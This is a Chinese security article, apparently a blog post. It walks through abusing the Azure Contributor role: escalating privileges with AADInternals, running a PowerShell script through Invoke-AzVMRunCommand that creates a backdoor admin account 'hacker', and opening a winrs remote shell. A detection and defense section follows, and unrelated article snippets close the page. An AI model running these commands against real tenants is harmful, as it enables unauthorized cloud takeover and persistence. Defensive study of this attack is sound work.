[网络安全] 滥用Azure内置Contributor角色横向移动至Azure VM
本文来源于团队的超辉老师,其系统分析了Azure RBAC角色模型及其在权限滥用场景下的攻击路径。通过利用AADInternals工具提升用户至Contributor角色,攻击者可在Azure VM中远程执行命令,创建后门账户,实现横向移动。文中详述了攻击步骤及防御检测方法,具备较强实用性与警示意义。
文章目录
- 一.原理分析
- 二.利用条件
- 三.利用步骤
- 四.检测及防御
- 1.日志审核
- 2.角色审核
- 四.总结
作者简介:
党超辉,全球阿里云、微软云、华为云、深信服等多家头部大厂 MVP 最有价值专家,CSDN 博客专家、腾讯云架构师技术同盟成员,云安全联盟(CSA)大中华区专家,中国计算机学会(CCF)专业会员,网络安全专业书《ATT&CK视角下的红蓝对抗实战指南》《AD 域攻防权威指南》作者、《Linux 权威指南:从小白到系统管理员 下册》《Linux权威指南:从小白到系统管理员 网络服务详解》译者,“娜璋 A| 安全之家”微信公众号联合运营人,曾先后起草编制并发布了多项广播电视行业安全标准,多次荣获了中国电影电视技术学会科学技术奖。目前专注于研究云原生安全、ATT&CK 攻防矩阵及威胁狩猎方向。

一.原理分析
Azure角色是Azure基于角色的访问控制(Azure Role-Based Access Control,Azure RBAC)框架的一部分。在Azure环境中,角色是用来定义一组权限集合的实体,这些权限决定了用户、组或服务主体可以对Azure资源执行的操作范围。通过Azure RBAC,管理员可以根据组织单位内的职责和需求,将预定义的角色(如所有者、参与者、读取者等)或自定义角色分配给不同的安全主体。这样可以实现对Azure资源的细粒度访问控制,确保每个用户仅拥有完成其工作所需的最小权限集。在通用的Azure内置角色中包含了一些适用于所有资源类型的“常规类别”角色,如表1-1所示,这些角色所拥有的授权范围及访问权限均不相同。

我们可以通过利用Get-AzRoleDefinition命令来查看这些“常规类别”角色的具体描述,包括角色定义及角色ID等。其中角色定义是所拥有权限的集合,列出了该角色可以执行的操作,如读取、写入、删除等。如图1-1所示,可在Actions部分查看到当前的角色对某个资源类型可执行的相关操作权限,Actions权限指定该角色允许执行的控制平面操作。它是用于标识Azure资源提供程序安全对象操作的字符串的集合。

常见的Actions部分操作子字符串如表1-2所示,通过执行“Get-AzRoleDefinition -Name “Contributor”命令可看出“Contributor(参与者)”拥有管理所有资源的完全访问权限。

二.利用条件
假设当攻击者通过密码喷洒、邮件钓鱼的方式获取了一个名为 abc@ad.xxx.cn 的Microsoft Entra ID(原Azure AD)普通用户权限,并利用 AADInternals将其权限提升为Azure资源组级别的Contributor(参与者)角色或持有 Microsoft.Compute/*权限(向Microsoft.Compute资源提供程序中的所有资源类型的所有操作授予访问权限)的任何自定义角色,即可横向移动到当前订阅的Azure资源组中的任意Azure VM中。
三.利用步骤
1)首先,执行如下命令使用 AADInternals工具通过Azure AD身份验证流程来获取Azure Core Management的访问令牌,并将所获取的访问令牌存储在变量$at中,如图1-2所示,在“Enter email,phone,or Skype”及“Password”处输入已经获取相关用户权限、名为 abc@ad.xxx.cn 的用户的账号密码信息。
$at=Get-AADIntAccessTokenForAzureCoreManagement
图1-2为获取 Azure Core Management访问令牌。

2)通过执行“Get-AzRoleAssignment”命令,查看当前Azure资源组级别的角色分配详细信息。
$at=Get-AADIntAccessTokenForAzureCoreManagement
Get-AzRoleAssignment -Scope
"/subscriptions/58bfa72c-72bf-4ee3-aecd-5berb09c7d2db8/resourceGroups/MyResourceGroup"
可通过“-Scope”参数来指定要查询的角色分配范围,可以包括订阅、资源组、资源或其他特定范围的资源ID。在实际查询时需要将{subscriptionId}、{resourceGroupName} 和{vmName}替换为实际获取的订阅ID、资源组名称和资源名称,执行结果图1-3所示。在其反馈的输出结果中可以看到在当前Azure资源组级别角色中,只有一个名为“calc@ad.xx.xx”的用户拥有“User Access Administrator”角色权限。
图1-3为查看当前Azure资源组级别的角色分配详细信息。

3)随后通过AADInternals执行如下命令来将“abc@ad.xxx.cn”用户的角色权限提升为“Contributor(参与者)”角色,执行结果如图1-4所示。
Set-AADIntAzureRoleAssignment -AccessToken $at -SubscriptionId
58bfa72c-72bf-4ee3-aecd-5berb09c7d2db8 -RoleName "Contributor"
- -AccessToken a t 参数:表示使用之前获取并存储在变量 at参数:表示使用之前获取并存储在变量 at参数:表示使用之前获取并存储在变量at中的访问令牌进行身份验证和授权操作。
- -SubscriptionId参数:指定了要进行角色分配的Azure订阅ID。
- -RoleName "Contributor"参数:表示授权分配该用户的角色身份为“Contributor(参与者)”角色。
图1-4为提升用户为“Contributor(参与者)”角色。

4)默认情况下,“Contributor(参与者)”角色的默认ID为“b24988ac-6180-42a0-ab88-20f7382dd24c”,如图1-5所示,可以看到当前abc@ad.xxx.cn用户的roleDefinitionId已和Contributor角色的默认ID一致。
Get-AzRoleDefinition -Name "Contributor"

5)再次执行“Get-AzRoleAssignment”命令来查询特定订阅ID下名为“MyResourceGroup”资源组的角色分配信息,同时筛选出在该资源组内被赋予了Contributor角色的所有角色分配记录,如图1-6所示,可以看出abc@ad.xxx.cn用户已被赋予了当前资源组的Contributor角色权限。
Get-AzRoleAssignment -Scope
"/subscriptions/58bfa72c-72bf-4ee3-aecd-5berb09c7d2db8/resourceGroups/MyResourceGroup
" | Where-Object {$_.RoleDefinitionName -eq "Contributor"} | Select-Object -Property
SignInName,DisplayName,RoleDefinitionId,RoleDefinitionName
图1-6为验证abc@ad.xxx.cn用户角色权限。

6)目前已经将abc@ad.xxx.cn用户提升至Contributor角色权限,这意味着我们可以横向移动到当前订阅的Azure资源组中的任意Azure VM中,接下来即可使用如下命令来枚举查询当前资源组中所存在的Azure VM信息,执行结果如图1-7所示。
Get-AzVM -Name app -ResourceGroupName demo

7)当获取资源组中所存在的Azure VM信息后,可执行如下命令来查看当前Azure VM公网IP信息。如图1-8所示,可看到Azure VM(虚拟机)的公网IP的所属位置、网络类型等信息。
Get-AzPublicIpAddress -Name demo-ip

8)Azure VM提供了一个“Run Command”(运行命令)的功能,如图1-9所示,可以使用虚拟机代理在Azure Windows VM上远程执行脚本。对于具有Azure资源组级别的Contributor角色或持有Microsoft.Compute/*权限的任何自定义角色的用户,便可以通过使用Powershell中的“Invoke-AzVMRunCommand cmdlet”命令在如表1-3所示的Azure VM Windows操作系统中,以NT Authority\System权限调用Run Command功能来运行 PowerShell脚本。

表1-3 支持执行Run Command功能的Azure VM Windows操作系统
| 操作系统 | X64 |
|---|---|
| Windows 10 | 支持 |
| Windows 11 | 支持 |
| Windows Server 2008 SP2 | 支持 |
| Windows Server 2008 R2 | 支持 |
| Windows Server 2012 | 支持 |
| Windows Server 2012 R2 | 支持 |
| Windows Server 2016 | 支持 |
| Windows Server 2016 Core | 支持 |
| Windows Server 2019 | 支持 |
| Windows Server 2019 Core | 支持 |
| Windows Server 2022 | 支持 |
| Windows Server 2022 Core | 支持 |
9)由于目前已将abc@ad.xxx.cn用户身份角色提升为“Contributor”,可在本地编写一个名为“runcommand1.ps1”的powershell脚本,并在powershell脚本中添加如下内容,如图1-10所示,使其在Azure VM上创建了一个新的用户账户(用户名为“hacker”,密码为“Aa123456”),并将此用户加入到本地管理员组中,赋予其管理员权限。
$passwd = ConvertTo-SecureString "Aa123456" -AsPlainText -Force
\\将明文密码"Aa123456"转换为安全字符串格式
New-LocalUser -Name hacker -Password $passwd
\\创建一个名为"hacker"的本地用户账户,并将其密码设置为之前转换成SecureString的
"Aa123456"。新创建的用户是AzureVM上的本地用户
Add-LocalGroupMember -Group Administrators -Member hacker
\\将名为"hacker"的新创建的本地用户添加到本地管理员组中。
图1-10为“runcommand1.ps1”powershell脚本文件。

10)随后即可通过Contributor角色身份权限,执行如下命令来在Azure VM上以NT Authority\System权限来运行名为“runcommand1.ps1”的PowerShell脚本。其中-VMName参数表示Azure VM的名称,-ResourceGroupName参数表示当前VM所在的资源组,-CommandId参数表示将要在Azure中运行的存储类型的命令,RunPowerShellScript参数示要运行的命令类型为PowerShell脚本,-ScriptPath参数表示要运行的Powershell脚本文件的本地路径。如图1-11所示,可以看到已通过“Invoke-AzVMRunCommand”命令成功在Azure VM上添加了一个账号名为“hacker”、密码为“Aa123456”的用户。
Invoke-AzVMRunCommand -VMName APP -ResourceGroupName demo -CommandId
'RunPowerShellScript' -ScriptPath .\runcommand1.ps1
图1-11 通过Invoke-AzVMRunCommand成功在Azure VM执行PowerShell命令。

12)切换到本地cmd命令行中,使用如下WinRS命令来将所有主机的IP地址添加到客户端信任列表,执行结果如图1-12所示。(WinRS是Windows的远程Shell,相当于WinRM的客户端。使用WinRS可以访问运行有WinRM的服务器,与目标主机形成交互式会话)
winrm set winrm/config/Client @{TrustedHosts="*"}
图1-12将所有主机的IP地址添加到客户端信任列表。

13)使用命令“winrs -r:http://20.2.67.23:5985 -u:hacker -p:Aa123456 “cmd””即可获取当前Azure VM的交互式会话,如图1-13所示。

四.检测及防御
那么作为Microsoft Entra ID 云管理员,我们应该如何对此滥用攻击进行检测和防御呢?具体可通过如下两个方面来进行检测及防御。
1.日志审核
第一步,审核相关订阅的“活动日志”,检测是否有使用操作运行命令在Windows VM中运行脚本。具体的活动日志的内容如图1-14所示,我们可以通过审核活动日志看到在2024年3月16号23:36:11的时候,用户 abc@ad.xx.xx.cn 在Virtual Machine(虚拟机)中执行了相关命令。

与此同时,可针对这类敏感操作去创建“警报规则”。当某个活动日志触发了在警报规则中配置的“警报逻辑”,系统则会第一时间进行告警,并通知相关管理员,如图1-15所示。

第二步,使用“Invoke-AzVMRunCommand cmdlet”在Azure VM上运行PowerShell的脚本通常会以SYSTEM用户身份权限来执行,可在Windows事件查看器中过滤出事件ID为4688的系统安全事件日志,如图1-15、图1-16所示。
图1-15为过滤事件ID为4688的系统安全事件日志。

图1-16为查看事件ID为4688的系统安全事件日志。

第三步,所有使用虚拟机代理在Azure Windows VM中运行的PowerShell脚本日志文件都会存在 C:\WindowsAzure\Logs\Plugins\Microsoft.CPlat.Core.RunCommandWindows<version>目录中,如图1-17所示,可直接查看当前目录中的所有日志文件内容,如图1-18所示。
图1-17为虚拟机代理运行PowerShell脚本日志文件路径。

图1-18为虚拟机代理运行PowerShell脚本日志

2.角色审核
通过使用虚拟机代理在Azure Windows VM上执行“Invoke-AzVMRunCommand cmdlet”来运行PowerShell脚本执行命令,需要订阅级别的Microsoft.Compute/locations/runCommands/read权限及Microsoft.Compute/virtualMachines/runCommands/write权限。在一般情况下,Contributor及更高级别的角色会拥有此权限,如图1-19所示,我们可通过如下命令来检测目前哪些用户在当前的资源组中,拥有订阅级别的Contributor角色及更高级别角色的权限,其中需要替换为实际的订阅ID。
Get-AzRoleAssignment -Scope
"/subscriptions/58bfa72c-72bf-4ee3-aecd-5berb09c7d2db8/resourceGroups/MyResourceGroup
" | Where-Object {$_.RoleDefinitionName} | Select-Object -Property
RoleDefinitionName,SignInName,DisplayName,RoleDefinitionId
图1-19为检查拥有订阅级别Contributor角色及更高级别角色的权限的用户。

四.总结
本案例详细展示了攻击者如何通过提升Azure RBAC角色权限滥用Contributor角色,在无凭据的情况下远程控制Azure虚拟机,执行恶意脚本创建后门账户,实现持久化控制。为此,应加强活动日志审计、角色权限检查及异常操作告警机制,构建多层次主动防御体系,防范RBAC权限滥用带来的云安全风险。
(By: 团队超辉老师 2025-03-20 夜于贵州)
相关文章:
[网络安全] 滥用Azure内置Contributor角色横向移动至Azure VM
本文来源于团队的超辉老师,其系统分析了Azure RBAC角色模型及其在权限滥用场景下的攻击路径。通过利用AADInternals工具提升用户至Contributor角色,攻击者可在Azure VM中远程执行命令,创建后门账户,实现横向移动。文中详述了攻击步…...
人工智能(AI)系统化学习路线
一、为什么需要系统化学习AI? 人工智能技术正在重塑各行各业,但许多初学者容易陷入误区: ❌ 盲目跟风:直接学习TensorFlow/PyTorch,忽视数学与算法基础。 ❌ 纸上谈兵:只看理论不写代码,无法解…...
Ubuntu系统使用nmcli配置静态IP
1. 配置静态IP 以下命令请全部加上sudo, 否则很可能会报错!!! 列出可用的网络连接 nmcli connection show找到你的 WiFi 连接名称(如 "WiFi名称")。 设置静态 IP 地址、网关和 DNS nmcli connection modif…...
vue3,element-plus 表格单选、多选、反选、全选
准备 定义数据 // 表格 const table ref(); // 表格数据 import type { User } from "/interface"; const tableData ref<User[]>([]); // 表格选集 const tableSelection ref<User[]>([]); // 表格选择行 const tableSelectedRow ref<User>…...
ngx_http_core_server_name
定义在 src\http\ngx_http_core_module.c static char * ngx_http_core_server_name(ngx_conf_t *cf, ngx_command_t *cmd, void *conf) {ngx_http_core_srv_conf_t *cscf conf;u_char ch;ngx_str_t *value;ngx_uint_t i;ngx_…...
如何提升库存系统的高并发和稳定性:算法与设计模式
库存系统是企业运营的核心模块,尤其是在电商、零售和供应链管理中,系统的高并发和稳定性直接影响订单处理的准确性和效率。面对海量订单、复杂的库存管理需求,如何在高并发环境下确保库存数据的准确性和系统的稳定性?本文将从架构…...
【Linux】从开发到系统管理深入理解环境变量
文章目录 前言一、环境变量概念1.1 为什么需要环境变量?1.2 环境变量的本质特征 二、环境变量PATH2.1 PATH的运作机制2.2 常见环境变量及其作用2.3 环境变量操作指南 三、再谈环境变量3.1main函数命令行参数解析3.2 环境变量的继承机制3.3 本地变量与内部构建命令 总…...
C++相关
1.定义pos时最好用无符号整型 如uint8_t size_t 编译器可能会有(有符号/无符号不匹配)的警告 总的来说就是符号一致 2.遇到俩个lambda相互调用的情况 使用std:funtion前置声明 3.回顾了虚函数,定义virtual 就是虚函数 一般是父类指针指向子…...
智算中心系统化建设与运营框架
智算中心系统化建设与运营框架 围绕智算中心全生命周期,从政策驱动到技术落地构建完整解决方案: 一、政策与产业生态 政策支撑体系 算力补贴机制: 国家层面:工信部“东数西算”工程对西部智算中心给予电价优惠(0.3元/…...
空气质量查询API:助力健康生活与环境监测的智能工具
引言 随着工业化和城市化的快速发展,空气质量问题日益受到人们的关注。空气质量不仅影响我们的日常生活,还直接关系到我们的健康。因此,了解空气质量指数(AQI)以及各项污染物的浓度,对于保障人们的健康至关…...
【CGE】社会核算矩阵构建(一):SAM基本结构
【CGE】社会核算矩阵构建(一):SAM基本结构 社会核算矩阵构建(一):SAM基本结构一、SAM的概念和基本特点二、SAM的基本结构1.开放经济体的SAM表结构2.SAM表各账户的主要核算内容(1)社会…...
Ubuntu 系统部署 Ollama + DeepSeek + Docker + Ragflow
🌹作者主页:青花锁 🌹简介:Java领域优质创作者🏆、Java微服务架构公号作者😄 🌹简历模板、学习资料、面试题库、技术互助 🌹文末获取联系方式 📝 Mysql数据库规范 一、Ol…...
深入探究 JVM 堆的垃圾回收机制(二)— 回收
GC Roots 枚举需要遍历整个应用程序的上下文,而在进行可达性分析或者垃圾回收时,如果我们还是进行全堆扫描及收集,那么会非常耗时。JVM 将堆分为新生代及老生代,它们的回收频率及算法不一样。 1 回收算法 在进行可达性分析时&am…...
第三讲 | C/C++内存管理完全手册
C/C内存管理 一、 C/C内存分布二、 C语言中动态内存管理方式:malloc/calloc/realloc/free三、 C内存管理方式1. new/delete操作内置类型2. new和delete操作自定义类型 四、operator new和operator delete函数(重点)五、new和delete的实现原理…...
2021年蓝桥杯第十二届CC++大学B组真题及代码
目录 1A:空间(填空5分_单位转换) 2B:卡片(填空5分_模拟) 3C:直线(填空10分_数学排序) 4D:货物摆放(填空10分_质因数) 5E…...
秒杀业务优化之从分布式锁到基于消息队列的异步秒杀
一、业务场景介绍 优惠券、门票等限时抢购常常出现在各类应用中,这样的业务一般为了引流宣传而降低利润,所以一旦出现问题将造成较大损失,那么在业务中就要求我们对这类型商品严格限时、限量、每位用户限一次、准确无误的创建订单,…...
IntelliJ IDEA 将 Spring Boot 项目远程部署到服务器
使用 IntelliJ IDEA 将 Spring Boot 项目远程部署到服务器的详细步骤,涵盖多种常见方法: 方法一:通过 SSH Maven 插件直接部署 1. 服务器环境准备 确保服务器已安装: Java 运行环境(与项目 JDK 版本一致࿰…...
Qt 重入和线程安全
重入和线程安全 在整个文档中,"重入"和 "线程安全 "这两个术语被用来标记类和函数,以表明它们在多线程应用程序中的使用方式: 线程安全函数可以同时被多个线程调用,即使调用使用的是共享数据,因…...
23种设计模式中的策略模式
在策略模式定义了一系列算法或策略,并将每个算法封装在独立的类中,使得它们可以互相替换。通过使用策略模式,可以在运行时根据需要选择不同的算法,而不需要修改客户端代码。 策略模式:Strategy。指的是,定义…...
纯vue手写流程组件
前言 网上有很多的vue的流程组件,但是本人不喜欢很多冗余的代码,喜欢动手敲代码;刚开始写的时候,确实没法下笔,最后一层一层剥离,总算实现了;大家可以参考我写的代码,可以拿过去定制…...
WPS宏开发手册——使用、工程、模块介绍
目录 系列文章前言1、开始1.1、宏编辑器使用步骤1.2、工程1.3、工程 系列文章 使用、工程、模块介绍 JSA语法 第三篇练习练习题,持续更新中… 前言 如果你是开发人员,那么wps宏开发对你来说手拿把切。反之还挺吃力,需要嘻嘻…...
面试中如何回答性能优化的问题
性能问题和Bug不同,后者的分析和解决思路更清晰,很多时候从应用日志(文中的应用指分布式服务下的单个节点)即可直接找到问题根源,而性能问题,其排查思路更为复杂一些。 对应用进行性能优化,是一个系统性的工程,对工程师的技术广度和技术深度都有所要求。一个简单的应用…...
django入门教程之request和reponse【二】
接上节:入门【一】 再创建一个orders子应用,python manager.py startapp orders,orders目录中新建一个urls.py文件。结构如图: 通过上节课,我们知道在views.py文件中编写函数时,有一个默认入参request&…...
解决 IntelliJ IDEA 方法断点导致程序无法运行的问题
前言 在日常开发中,调试是程序员不可或缺的工具之一。IntelliJ IDEA 作为一款功能强大的集成开发环境(IDE),提供了丰富的调试功能,例如设置断点、单步执行、变量监视等。然而,有时候我们在调试过程中会遇到…...
RAG优化:python从零实现[吃一堑长一智]循环反馈Feedback
本文将介绍一种有反馈循环机制的RAG系统,让当AI学会"吃一堑长一智",给传统RAG装了个"后悔"系统,让AI能记住哪些回答被用户点赞/拍砖,从此告别金鱼记忆: 每次回答都像在玩roguelike:失败结局会强化下次冒险悄悄把优质问答变成新知识卡牌,实现"以…...
日常学习开发记录-select组件(2)
日常学习开发记录-select组件(2) 第二阶段:增强功能 给现有select组件新增功能 第二阶段:增强功能 键盘操作支持 支持键盘上下箭头选择选项支持回车键确认选择支持Esc键关闭下拉菜单 <template><div:class"[my-s…...
微服务 - 高级篇
微服务 - 高级篇 一、服务治理(一)服务注册与发现(二)负载均衡(三)服务熔断与降级 二、分布式事务(一)解决方案(二)最终一致性 三、性能优化(一&a…...
服务器入门笔记
服务器 采用linux操作系统 SN号 服务器的唯一标识 1U的服务器的高度——4.445cm 服务器上UID灯用于定位服务器 服务器是计算机的一种。在网络中为其他客户机提供计算或者应用服务。 服务器用来响应终端的服务请求,并进行处理 服务器的分类—— 按物理形态&#…...
【Linux】VMware17 安装 Ubuntu24.04 虚拟机
目录 安装教程 一、下载 Ubuntu 桌面版iso映像 二、安装 VMware 三、安装 Ubuntu 桌面版 VMware 创建虚拟机 挂载 Ubuntu ISO 安装 Ubuntu 系统 安装教程 一、下载 Ubuntu 桌面版iso映像 链接来自 清华大学开源软件镜像站 ISO文件地址:ubuntu-24.04.2-des…...
WPS宏开发手册——JSA语法
目录 系列文章2、JSA语法2.1、打印输出2.2、注释2.3、变量2.4、数据类型2.5、函数2.6、运算符2.7、比较2.8、if else条件语句2.9、for循环2.10、Math对象(数字常用方法)2.11、字符串常用方法2.12、数组常用方法 系列文章 使用、工程、模块介绍 JSA语…...
